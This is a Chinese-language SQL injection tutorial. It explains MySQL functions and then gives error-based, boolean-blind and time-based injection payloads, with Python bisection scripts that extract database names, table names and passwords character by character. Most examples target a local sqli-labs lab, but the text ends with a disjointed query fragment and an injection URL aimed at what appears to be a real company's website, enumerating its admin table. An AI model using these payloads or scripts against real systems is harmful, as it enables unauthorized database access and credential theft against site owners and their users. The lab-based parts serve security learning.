SQL注入技巧

0x01 SQL注入

1、连接符:mysql 空格,Oracle ||,sql server +
2、黑魔法${IFS},Linux下可以使用其代替空格

0x02 相关函数

参考数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+

mid() 从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> select mid(username,1,2) from users;
+-------------------+
| mid(username,1,2) |
+-------------------+
| Du |
| An |
| Du |
| se |
| st |
| su |
| ba |
| ad |
| ad |
| ad |
| ad |
| dh |
| ad |
+-------------------+
mysql> select mid(username,2) from users;
+-----------------+
| mid(username,2) |
+-----------------+
| umb |
| ngelina |
| ummy |
| ecure |
| tupid |
| uperman |
| atman |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| hakkan |
| dmin4 |
+-----------------+

limit() 返回前几条或者中间某几行数据

select * from table limit m,n 其m指记录始index0始表示第条记录 n指第m+1条始取n条

1
2
3
4
5
6
7
mysql> select * from users limit 1,2;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+

concat与concat_ws与group_concat

MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select concat('123',null);
+--------------------+
| concat('123',null) |
+--------------------+
| NULL |
+--------------------+
mysql> select concat('123','456');
+---------------------+
| concat('123','456') |
+---------------------+
| 123456 |
+---------------------+

和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select concat_ws('123',null);
+-----------------------+
| concat_ws('123',null) |
+-----------------------+
| |
+-----------------------+
mysql> select concat_ws('123','456');
+------------------------+
| concat_ws('123','456') |
+------------------------+
| 456 |
+------------------------+
mysql> select concat_ws('.','123','456');
+----------------------------+
| concat_ws('.','123','456') |
+----------------------------+
| 123.456 |
+----------------------------+

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200 |
|3 | 500 |
+------+------+
mysql>select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+

Count() 聚集函数,统计元祖的个数

1
2
3
4
5
6
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 13 |
+----------+

rand() 用于产生一个0~1的随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select rand(),rand();
+---------------------+--------------------+
| rand() | rand() |
+---------------------+--------------------+
| 0.37330908176797356 | 0.7865611089268337 |
+---------------------+--------------------+
mysql> select * from users group by rand();
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 3 | Dummy | p@ssword |
| 9 | admin1 | admin1 |
| 12 | dhakkan | dumbo |
| 5 | stupid | stupidity |
| 4 | secure | crappy |
| 10 | admin2 | admin2 |
| 6 | superman | genious |
| 14 | admin4 | admin4 |
| 11 | admin3 | admin3 |
| 2 | Angelina | I-kill-you |
| 8 | admin | admin |
| 1 | Dumb | Dumb |
| 7 | batman | mob!le |
+----+----------+------------+

floor() 向下取整

1
2
3
4
5
6
mysql> select floor(123.456),floor(-123.456);
+----------------+-----------------+
| floor(123.456) | floor(-123.456) |
+----------------+-----------------+
| 123 | -124 |
+----------------+-----------------+

group by 依据我们想要的规则对结果进行分组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select * from users group by username;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+

length() 返回字符串的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select length('www.baidu.com');
+-------------------------+
| length('www.baidu.com') |
+-------------------------+
| 13 |
+-------------------------+
mysql> select * from users where length(username) <6;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 8 | admin | admin |
+----+----------+----------+

Substr() 截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select substr('123456',2,3);
+----------------------+
| substr('123456',2,3) |
+----------------------+
| 234 |
+----------------------+
mysql> select substr(username,2,3) from users ;
+----------------------+
| substr(username,2,3) |
+----------------------+
| umb |
| nge |
| umm |
| ecu |
| tup |
| upe |
| atm |
| dmi |
| dmi |
| dmi |
| dmi |
| hak |
| dmi |
+----------------------+

Ascii() 返回字符串的ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select ascii(2);
+----------+
| ascii(2) |
+----------+
| 50 |
+----------+
mysql> select ascii(substr(username,2,1)) from users;
+-----------------------------+
| ascii(substr(username,2,1)) |
+-----------------------------+
| 117 |
| 110 |
| 117 |
| 101 |
| 116 |
| 117 |
| 97 |
| 100 |
| 100 |
| 100 |
| 100 |
| 104 |
| 100 |
+-----------------------------+

0x03 基于报错注入

常用floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)

floor报错

  • 获取数据库:

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
    +----------+-------------+
    | count(*) | name |
    +----------+-------------+
    | 58 | :security:0 |
    | 47 | :security:1 |
    +----------+-------------+
  • 获取表名

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    +----------+-----------+
    | count(*) | name |
    +----------+-----------+
    | 44 | ::users:0 |
    | 61 | ::users:1 |
    +----------+-----------+
  • 获取字段名

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    +----------+-------------+
    | count(*) | name |
    +----------+-------------+
    | 51 | ::user_id:0 |
    | 54 | ::user_id:1 |
    +----------+-------------+
  • 获取内容

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
    +----------+----------+
    | count(*) | name |
    +----------+----------+
    | 46 | ::Dumb:0 |
    | 59 | ::Dumb:1 |
    +----------+----------+

UpdateXml报错

  • 获取表名

    1
    2
    mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
    ERROR 1105 (HY000): XPATH syntax error: '~users'
  • 获取字段

    1
    2
    3
    4
    mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
    ERROR 1105 (HY000): XPATH syntax error: '~password'
    mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);
    ERROR 1105 (HY000): XPATH syntax error: '~user'
  • 获取内容

    1
    2
    3
    4
    mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);
    ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
    mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);
    ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'

extractvalue报错

  • 获取表名

    1
    2
    mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\users'
  • 获取字段

    1
    2
    3
    4
    mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'
    mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

0x04 基于布尔盲注

  • 查看表名

    1
    2
    3
    4
    5
    6
    mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
    +------------+
    | table_name |
    +------------+
    | emails |
    +------------+
  • 获取表名第一个字符

    1
    2
    3
    4
    5
    6
    mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
    +------+
    | m |
    +------+
    | e |
    +------+
  • 获取表名第一个字符的ASCII

    1
    2
    3
    4
    5
    6
    mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;
    +------+
    | m |
    +------+
    | 101 |
    +------+

获取字段名与字段内容原理一样。

以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。

  • 先判断当前数据库的长度
    1
    http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

发现当值为8的时候,页面就没有显示。那么说明database()的长度是8

  • 获取数据库名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- encoding:utf-8 -*-
import requests
key = ""
for pos in range(10):
low = 32
high = 126
mid = (high + low) >> 1
while mid < high:
#print low, mid, high
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),{0},1))>{1} %23"
url = payload.format(pos,mid)
req = requests.get(url)
length = len(req.text)
if length == 706: ##返回的长度只有706和722
low = mid+1
else:
high = mid
mid = (high+low)>>1
key += chr(mid)
print key
  • 获取表长度
    1
    http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

发现当值为6的时候,页面就没有显示。那么说明表的长度是6

  • 获取表名

    1
    2
    和上面类似,只需要把payload修改为下面即可:
    http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
  • 获取列名

    1
    payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
  • 获取内容

    1
    2
    payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"
    payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"

0x05 基于时间盲注

If(expr1,expr2,expr3) 判断语句
if(database()=’security’,1,2) 判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;
+------+
| m |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;
+------+
| m |
+------+
| 0 |
+------+
1 row in set (5.00 sec)

以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。

  • 数据库长度判断

    1
    http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
  • 使用二分法获得数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import requests
import time
key = ""
for pos in range(10):
low = 32
high = 126
mid = (high + low) >> 1
while mid < high:
startTime=time.time()
payload = "http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),{0},1))>{1},0,sleep(5)) %23"
url = payload.format(pos,mid)
response=requests.get(url) #发送请求
if time.time() - startTime < 5: #判断是否延时了5秒
low = mid + 1
else:
high = mid
mid = (high + low) >> 1
key += chr(mid)
print key

剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。

1
2
3
4
5
6
获取表名:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23
获取列名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
获取内容:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"

1,column_name from information_schema.columns where table_schema = database() and table_name = 0x6d63795f61646d696e

http://www.innogreen.com.hk/VerticalGreening.php?id=-22 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x6d63795f61646d696e #